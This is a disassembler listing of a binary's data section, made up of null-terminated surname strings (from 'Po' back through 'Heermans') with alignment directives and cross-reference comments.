aPo		db 'Po',0               ; DATA XREF: ___:0042E6B4o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6B0o
		align 10h
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6ACo
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A8o
		align 10h
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E6A4o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E6A0o
		align 10h
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E69Co
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E698o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E694o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E690o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E68Co
		align 10h
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E688o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E684o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E680o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E67Co
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E678o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E674o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E670o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E66Co
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E668o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E664o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E660o
		align 10h
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E65Co
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E658o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E654o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E650o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E64Co
		align 10h
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E648o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E644o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E640o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E63Co
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E638o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E634o
		align 10h
aParris		db 'Parris',0           ; DATA XREF: ___:0042E630o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E62Co
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E628o
		align 10h
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E624o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E620o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E61Co
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E618o
		align 10h
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E614o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E610o
		align 10h
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E60Co
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E608o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E604o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E600o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5FCo
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F8o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5F4o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5F0o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5ECo
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E8o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5E4o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5DCo
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D8o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5D0o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5CCo
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C8o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5C4o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5C0o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5BCo
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B8o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5B4o
		align 10h
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5B0o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5ACo
		align 10h
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A8o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E5A4o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E5A0o
		align 10h
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E59Co
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E598o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E594o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E590o
		align 10h
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E58Co
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E588o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E584o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E580o
		align 10h
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E57Co
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E578o
		align 10h
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E574o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E570o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E56Co
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E568o
		align 10h
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E564o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E560o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E55Co
		align 10h
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E558o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E554o
		align 10h
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E550o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E54Co
		align 10h
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E548o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E544o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E540o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E53Co
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E538o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E534o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E530o
		align 10h
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E52Co
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E528o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E524o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E520o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E51Co
		align 10h
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E518o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E514o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E510o
		align 10h
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E50Co
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E508o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E504o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E500o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4FCo
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F8o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4F4o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4F0o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4ECo
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E8o
		align 10h
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4E4o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4E0o
		align 10h
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4DCo
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D8o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4D4o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4D0o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4CCo
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C8o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4C4o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4C0o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4BCo
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B8o
		align 10h
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4B4o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4ACo
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A8o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E4A4o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E4A0o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E49Co
		align 10h
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E498o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E494o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E490o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E48Co
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E488o
		align 10h
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E484o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E480o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E47Co
		align 10h
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E478o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E474o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E470o
		align 10h
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E46Co
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E468o
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E464o
aMay		db 'May',0              ; DATA XREF: ___:0042E460o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E45Co
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E458o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E454o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E450o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E44Co
aMass		db 'Mass',0             ; DATA XREF: ___:0042E448o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E444o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E440o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E43Co
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E438o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E434o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E430o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E42Co
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E428o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E424o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E420o
		align 10h
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E41Co
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E418o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E414o
		align 10h
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E410o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E40Co
		align 10h
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E408o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E404o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E400o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E3FCo
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E3F8o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E3F4o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E3F0o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E3ECo
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E3E8o
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E3E4o
		align 10h
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E3E0o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E3DCo
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E3D8o
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E3D4o
		align 10h
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E3D0o
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3CCo
		align 10h
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C8o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3C4o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3C0o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3BCo
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B8o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3B4o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3B0o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3ACo
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A8o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E3A4o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E3A0o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E39Co
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E398o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E394o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E390o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E38Co
		align 10h
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E388o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E384o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E380o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E37Co
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E378o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E374o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E370o
		align 10h
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E36Co
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E368o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E364o
aLine		db 'Line',0             ; DATA XREF: ___:0042E360o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E35Co
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E358o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E354o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E350o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E34Co
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E348o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E344o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E340o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E33Co
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E338o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E334o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E330o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E32Co
		align 10h
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E328o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E324o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E320o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E31Co
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E318o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E314o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E310o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E30Co
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E308o
		align 10h
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E304o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E300o
		align 10h
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2FCo
					; ___:00432954o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F8o
					; ___:off_4327F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2F4o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2F0o
aLa		db 'La',0               ; DATA XREF: ___:0042E2ECo
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E8o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2E4o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2E0o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2DCo
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D8o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2D4o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2D0o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2CCo
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C8o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2C4o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2BCo
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B8o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2B4o
		align 10h
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2B0o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2ACo
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A8o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E2A4o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E2A0o
		align 10h
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E29Co
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E298o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E294o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E290o
		align 10h
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E28Co
aKling		db 'Kling',0            ; DATA XREF: ___:0042E288o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E284o
		align 10h
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E280o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E27Co
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E278o
		align 10h
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E274o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E270o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E26Co
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E268o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E264o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E260o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E25Co
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E258o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E254o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E250o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E24Co
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E248o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E244o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E240o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E23Co
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E238o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E234o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E230o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E22Co
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E228o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E224o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E220o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E21Co
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E218o
		align 10h
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E214o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E210o
		align 10h
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E20Co
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E208o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E204o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E200o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1FCo
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F8o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1F4o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1F0o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1ECo
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E8o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1E4o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1E0o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1DCo
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D8o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1D4o
		align 10h
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1D0o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1CCo
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C8o
		align 10h
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1C4o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1C0o
		align 10h
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1BCo
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B8o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1B4o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1B0o
		align 10h
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1ACo
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A8o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E1A4o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E19Co
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E198o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E194o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E190o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E18Co
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E188o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E184o
		align 10h
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E180o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E17Co
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E178o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E174o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E170o
		align 10h
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E16Co
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E168o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E164o
		align 10h
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E160o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E15Co
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E158o
		align 10h
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E154o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E150o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E14Co
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E148o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E144o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E140o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E13Co
		align 10h
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E138o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E134o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E130o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E12Co
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E128o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E124o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E120o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E11Co
		align 10h
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E118o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E114o
		align 10h
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E110o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E10Co
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E108o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E104o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E100o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0FCo
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F8o
		align 10h
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0F0o
		align 10h
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0ECo
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E8o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0E4o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0DCo
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D8o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0D4o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0D0o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C8o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0C4o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0C0o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0BCo
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B8o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0B4o
		align 10h
